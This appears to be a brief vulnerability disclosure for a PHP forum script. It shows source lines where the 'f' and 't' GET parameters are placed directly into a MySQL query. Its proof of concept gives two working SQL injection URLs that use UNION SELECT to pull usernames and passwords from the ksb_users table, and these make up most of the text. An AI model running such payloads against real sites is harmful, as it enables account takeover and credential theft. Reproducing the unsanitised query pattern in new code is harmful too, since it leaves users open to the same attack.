source of index.php :

  [...]

  87.  if ($inc_function == "_showforum") {

  88.    if ($_GET[t] == "") {

  89.      $inc_function = "functions/showforum.php";

  90.    } else {

  91.      $inc_function = "functions/showtopic.php";

  [...]

source of functions/showforum.php :

  [...]

  9.  $forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

  [...]

It looks the same for "t" variable ...

Proof of Concept :

  "f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
  "t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--
